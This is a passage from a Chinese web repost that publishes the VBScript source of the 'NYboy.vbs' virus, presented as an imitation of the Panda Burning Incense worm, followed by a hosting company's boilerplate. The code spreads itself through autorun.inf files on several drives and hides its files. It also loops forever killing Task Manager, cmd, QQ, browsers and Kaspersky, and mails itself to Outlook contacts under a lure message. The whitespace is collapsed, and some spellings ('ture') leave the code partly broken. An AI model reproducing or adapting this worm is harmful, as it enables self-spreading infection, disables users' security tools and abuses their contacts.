NYboy.vbs病毒源代码公布，我来模拟熊猫烧香
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| hoshell=Auto>>F:\autorun.inf"_ &"&&attrib+h+s+rF:\autorun.inf" setautobatf=fso.createtextfile("F:\NYboy.bat",1,ture) autobatf.writeline("NYboy.vbs") EndIf Iffso.FileExists("I:\autorun.inf")Then SetobjFolder=fso.GetFile("I:\autorun.inf") Else wsh.run"cmd/cecho[AutoRun]>>I:\autorun.inf"_ &"&&echoopen=NYboy.bat>>I:\autorun.inf"_ &"&&echoshellexecute=NYboy.bat>>I:\autorun.inf"_ &"&&echoshell\Auto\command=NYboy.bat>>I:\autorun.inf"_ &"&&echoshell=Auto>>I:\autorun.inf"_ &"&&attrib+h+s+rI:\autorun.inf" setautobatf=fso.createtextfile("I:\NYboy.bat",1,ture) autobatf.writeline("NYboy.vbs") EndIf ''设置病毒体属性为 系统 只读 隐藏 wsh.run"cmd/cattrib+h+s+rC:\NYboy.bat"_ &"&&attrib+h+s+rD:\NYboy.bat"_ &"&&attrib+h+s+rE:\NYboy.bat"_ &"&&attrib+h+s+rF:\NYboy.bat"_ &"&&attrib+h+s+rI:\NYboy.bat" ''强制结束某些进程,比如QQ，记事本，网页，批处理文件，卡巴，realplay等进程,运行后打不开这些文件 do setws=getobject("winmgmts:\\.\root\cimv2") setpp=ws.execquery("select*fromwin32_processwherename=''taskmgr.exe''orName=''QQ.exe''orName=''notepad.exe''orName=''IEXPLORE.exe''orName=''cmd.exe''orName=''avp.exe''orName=''winRAR.exe''orName=''realplay.exe''orName=''WINWORD.exe''") foreachiinpp i.terminate() wscript.sleep100 next loop ''使病毒可以靠邮件传播 Setol=CreateObject("Outlook.Application") OnErrorResumeNext Forx=1To5 SetMail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗？" Mail.Body="朋友你好：您的朋友给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！QQ交友频道" Mail.Attachments.Add("c:\NYboy.vbs") Mail.Send Next ol.Quit |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于NYboy.vbs病毒源代码公布，我来模拟熊猫烧香的所有评论
